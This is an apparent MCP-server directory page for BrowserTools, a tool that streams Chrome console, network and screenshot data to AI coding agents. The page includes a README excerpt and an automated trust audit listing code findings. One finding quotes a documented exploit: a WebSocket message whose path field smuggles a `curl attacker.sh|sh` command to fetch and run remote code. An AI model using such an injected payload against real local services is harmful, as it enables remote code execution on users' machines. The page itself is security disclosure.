← MCP servers · agentdeskai

BrowserTools

CAUTIONgrade B · trust 84/100

Monitor browser logs directly from Cursor and other MCP compatible IDEs.

aianthropiccursormcpmcp server

Overview

From the repository's own README, as read at the audited commit.

# BrowserTools MCPGive your AI coding agent eyes on the browser. BrowserTools MCP streams consoleoutput, network activity, screenshots and Lighthouse audits from **your realChrome session** — the one already logged into your app — to any MCP-compatibleclient: Cursor, Claude Code, Windsurf, Cline, Zed, Gemini CLI, and others.> **Version 2.0 is a rewrite.** One process instead of three, no unauthenticated> local server, credentials scrubbed before they leave the browser, and a real> test suite. If you are coming from 1.x, read [MIGRATION.md](MIGRATION.md) —> **and upgrade, because 1.2.x has a critical vulnerability.** See> [SECURITY.md](SECURITY.md).---## Why this instead of a CDP-based serverTools like Chrome DevTools MCP and Playwright MCP drive a *fresh, automated*browser. That is the right choice for writing tests. It is the wrong choice fordebugging the app you are actually looking at, because since Chrome 136 thebrowser refuses remote debugging on your default profile — the one holding yourlogins. So you end up recreating your auth state in a throwaway profile beforeyou can debug anything.BrowserTools attaches to the session you are already in, through a DevToolsextension. You stay logged in, on the page you were already on, and your agentreads what you see. It also reports Lighthouse-grade performance, accessibilityand SEO data, which the automation-first servers do not.## InstallTwo pieces: an MCP server (one command) and a Chrome extension.### 1. Point your MCP client at the server```json{  "mcpServers": {    "browser-tools": {      "command": "npx",      "args": ["-y", "@agentdeskai/browser-tools-mcp@latest"]    }  }}```On Windows, if your client cannot find `npx`, use `"command": "cmd"` with`"args": ["/c", "npx", "-y", "@agentdeskai/browser-tools-mcp@latest"]`.Requires **Node 22.19 or newer**. Check with `node --version`; if you use nvm orasdf, make sure your editor inherits the same version.### 2. Load the Chrome extension1. Download or clone this reposito

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude-code (npm)
claude mcp add browser-tools-mcp -- npx -y @agentdeskai/[email protected]

Exposed tools (15) 15 read · 0 write · 0 destructive

ToolRiskDescription
auditModereadA workflow for running and interpreting accessibility, performance, SEO and best-practices audits.
debuggerModereadA systematic workflow for diagnosing a problem on the live page using console and network telemetry.
getBrowserStorageread
getConnectionStatusread
getConsoleErrorsread
getConsoleLogsread
getNetworkErrorsread
getNetworkLogsread
getPageInforead
getSelectedElementread
listBrowserTabsread
nextjsSeoAuditreadSEO review tailored to Next.js applications, combining a live SEO audit with framework-specific causes.
refreshBrowserread
takeScreenshotread
wipeLogsread

Details

Source
agentdeskai/browser-tools-mcp
npm
browser-tools-mcp-workspace@2.0.2
Transports
stdio
License
MIT
Stars
7,319 · pushed 31d ago

Trust audit

Install with care. The audit found things worth knowing before you trust its output.

LayerWhat it checksResult
L0Provenance & inventoryPASS
L1Static analysis of the codeWARN
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (2 observation(s))
Network
declared (8 observation(s))
Shell
none-observed
Dependencies
not all pinned
Secrets in source
found

Findings (19)

MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
browser-tools-mcp/src/connector-bin.ts:61
`BrowserTools connector listening on http://127.0.0.1:${connector.port}\n` +
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
browser-tools-mcp/src/runtime.ts:132
if (existing && (await probe(`http://127.0.0.1:${existing.port}`))) {
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
browser-tools-mcp/src/runtime.ts:136
baseUrl: `http://127.0.0.1:${existing.port}`,
MEDIUMHard-coded secrets · secret.private_key · CWE-798, CWE-321
browser-tools-mcp/test/unit/redact.test.ts:83
"-----BEGIN RSA PRIVATE KEY-----\nMIIEow==\n-----END RSA PRIVATE KEY-----"
LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
browser-tools-mcp/test/e2e/inject-capture.e2e.test.ts:37
const extract = new Function(
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
browser-tools-mcp/test/unit/extension-redact.test.ts:28
const extract = new Function(
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
browser-tools-mcp/test/e2e/audit.e2e.test.ts:5
import { runLighthouseAudit, AuditError, assertAuditableUrl } from "../../src/lighthouse/runner";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
browser-tools-mcp/test/e2e/browser.e2e.test.ts:11
import { createConnector, type Connector } from "../../src/connector/connector";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
browser-tools-mcp/test/e2e/browser.e2e.test.ts:12
import { InProcessConnectorClient } from "../../src/mcp/client";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
browser-tools-mcp/test/e2e/browser.e2e.test.ts:13
import { createMcpServer } from "../../src/mcp/server";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
browser-tools-mcp/test/e2e/browser.e2e.test.ts:35
fileURLToPath(new URL("../../../chrome-extension", import.meta.url))
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
browser-tools-mcp/test/fixtures/server.ts:140
url: `http://127.0.0.1:${port}/`,
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
browser-tools-mcp/test/integration/attach.test.ts:80
baseUrl: `http://127.0.0.1:${connector.port}`,
LOWObfuscation / stealth · obf.base64_blob · CWE-506, CWE-94
browser-tools-mcp/test/integration/screenshot.test.ts:27
"/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/wAALCAABAAEBAREA/8QAFAABAAAAAAAAAAAAAAAAAAAACf/EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gA
LOWObfuscation / stealth · obf.decode_call · CWE-506, CWE-94
chrome-extension/shared.js:217
return atob(aligned.replace(/-/g, "+").replace(/_/g, "/"));
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
browser-tools-mcp/package.json
@modelcontextprotocol/sdk, chrome-launcher, express, lighthouse, ws, zod, @types/express, @types/node
Why it matters. 9 dependency range(s) float
Fix. pin exact versions or ship a lockfile
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
browser-tools-server/package.json
@agentdeskai/browser-tools-mcp
Why it matters. 1 dependency range(s) float
Fix. pin exact versions or ship a lockfile
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
package.json
@types/node, @types/supertest, @types/ws, playwright, supertest, vitest
Why it matters. 6 dependency range(s) float
Fix. pin exact versions or ship a lockfile
LOWSupply chain · prompt.pipe_to_shell · CWE-829, CWE-1357
docs/2.0-audit.md:102
Any web page the user visits, or anyone on the same Wi-Fi, can open `ws://127.0.0.1:3025/extension-ws`, send `{type:"screenshot-data", path:"/tmp/x'$(curl attacker.sh|sh)'", autoPaste:true}` and get s

Gates applied: no_behavioural_pass.

Audited 2026-09-13 · audit v0.4.0 · source sha 93af3c56207b · full audit: observations/trust-audit/mcp-server/agentdeskai__browsertools.json · Report an issue or request a re-scan

Audit history

DateSourceVerdictGradeScoreChange
2026-09-1393af3c56207bCAUTIONB84first audit

Alternatives

Other servers in the same categories, safer ones first.

Questions

What is the BrowserTools MCP server?

Monitor browser logs directly from Cursor and other MCP compatible IDEs.

What tools does BrowserTools expose?

15 in total: 15 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is BrowserTools safe to connect to an agent?

With care. The audit graded it B (84/100) and found 19 things worth knowing before you trust this server, listed below with the exact line each was found on.

What credentials does BrowserTools need?

No credential environment variables were found in its source, so it appears to need none.

How does BrowserTools run?

It speaks stdio, so it runs as a local process your client starts. It is published on npm as browser-tools-mcp-workspace at 2.0.2.

How current is this page?

The grade is for one exact copy of the source (93af3c56207b), read on 2026-09-13. The repository is watched and re-audited when it changes.

Provenance: OBSERVED · read 2026-09-13 · job trust-audit-2026-09-13